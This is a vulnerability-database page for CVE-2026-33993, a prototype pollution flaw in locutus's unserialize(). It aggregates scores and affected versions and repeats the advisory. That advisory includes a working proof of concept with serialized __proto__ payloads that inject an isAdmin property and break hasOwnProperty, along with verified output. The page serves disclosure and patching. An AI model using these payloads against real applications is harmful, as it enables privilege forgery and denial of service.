Every CVE Search/ Get API key

CVE-2026-33993

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

6.9 MediumFix available

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
None

Exploit likelihood

0.59%Up 0.5 points since Mar 28, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.9

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.

Record
CVE-2026-33993
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02
EUVDEUVD-2026-16888 6.9

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.

Record
EUVD-2026-16888
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-4mph-v827-f877 6.9

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Summary

The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.

This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.

Details

The vulnerable code is in two functions within src/php/var/unserialize.ts:

expectArrayItems() at line 358:

// src/php/var/unserialize.ts:329-366
function expectArrayItems(
  str: string,
  expectedItems = 0,
  cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
  // ...
  const items: UnserializedObject = {}
  // ...
  for (let i = 0; i < expectedItems; i++) {
    key = expectKeyOrIndex(str)
    // ...
    item = expectType(str, cache)
    // ...
    items[String(key[0])] = item[0]  // line 358 — no __proto__ filtering
  }
  // ...
}

expectObject() at line 278:

// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
  // ...
  const obj: UnserializedObject = {}
  // ...
  for (let i = 0; i < propCount; i++) {
    // ...
    obj[String(prop[0])] = value[0]  // line 278 — no __proto__ filtering
  }
  // ...
}

Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:

  1. Properties in the attacker-supplied prototype become accessible via dot notation and the in operator
  2. These properties are invisible to Object.keys(), JSON.stringify(), and hasOwnProperty()
  3. They propagate to copies made via for...in loops, becoming real own properties
  4. The attacker can override hasOwnProperty, toString, valueOf with non-function values

Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.

This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.

PoC

Setup:

npm install [email protected]

Step 1 — Property injection via array deserialization:

import { unserialize } from 'locutus/php/var/unserialize';

const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);

console.log(config.isAdmin);           // true (injected via prototype)
console.log(Object.keys(config));      // ['name'] — isAdmin is hidden
console.log('isAdmin' in config);      // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty

Verified output:

true
[ 'name' ]
true
false

Step 2 — for...in propagation makes injected properties real:

const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin);                     // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin'));    // true

Verified output:

true
true

Step 3 — Method override denial of service:

const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function

Verified output:

TypeError: obj.hasOwnProperty is not a function

**Step 4 — Object type (stdClass) is also…

Record
GHSA-4mph-v827-f877
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02
NVD 6.9

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.

Record
CVE-2026-33993
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321
Updated
2026-11-02
OSV 6.9

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied. Version 3.0.25 patches the issue.

Record
CVE-2026-33993
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02
OSVGHSA-4mph-v827-f877 6.9

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Summary

The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.

This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.

Details

The vulnerable code is in two functions within src/php/var/unserialize.ts:

expectArrayItems() at line 358:

// src/php/var/unserialize.ts:329-366
function expectArrayItems(
  str: string,
  expectedItems = 0,
  cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
  // ...
  const items: UnserializedObject = {}
  // ...
  for (let i = 0; i < expectedItems; i++) {
    key = expectKeyOrIndex(str)
    // ...
    item = expectType(str, cache)
    // ...
    items[String(key[0])] = item[0]  // line 358 — no __proto__ filtering
  }
  // ...
}

expectObject() at line 278:

// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
  // ...
  const obj: UnserializedObject = {}
  // ...
  for (let i = 0; i < propCount; i++) {
    // ...
    obj[String(prop[0])] = value[0]  // line 278 — no __proto__ filtering
  }
  // ...
}

Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:

  1. Properties in the attacker-supplied prototype become accessible via dot notation and the in operator
  2. These properties are invisible to Object.keys(), JSON.stringify(), and hasOwnProperty()
  3. They propagate to copies made via for...in loops, becoming real own properties
  4. The attacker can override hasOwnProperty, toString, valueOf with non-function values

Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.

This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.

PoC

Setup:

npm install [email protected]

Step 1 — Property injection via array deserialization:

import { unserialize } from 'locutus/php/var/unserialize';

const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);

console.log(config.isAdmin);           // true (injected via prototype)
console.log(Object.keys(config));      // ['name'] — isAdmin is hidden
console.log('isAdmin' in config);      // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty

Verified output:

true
[ 'name' ]
true
false

Step 2 — for...in propagation makes injected properties real:

const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin);                     // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin'));    // true

Verified output:

true
true

Step 3 — Method override denial of service:

const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function

Verified output:

TypeError: obj.hasOwnProperty is not a function

**Step 4 — Object type (stdClass) is also…

Record
GHSA-4mph-v827-f877
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
locutus
npm
before 3.0.25
3.0.25

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-33993 is a medium vulnerability (CVSS 6.9) in Locutus, published March 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in locutus 3.0.25.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open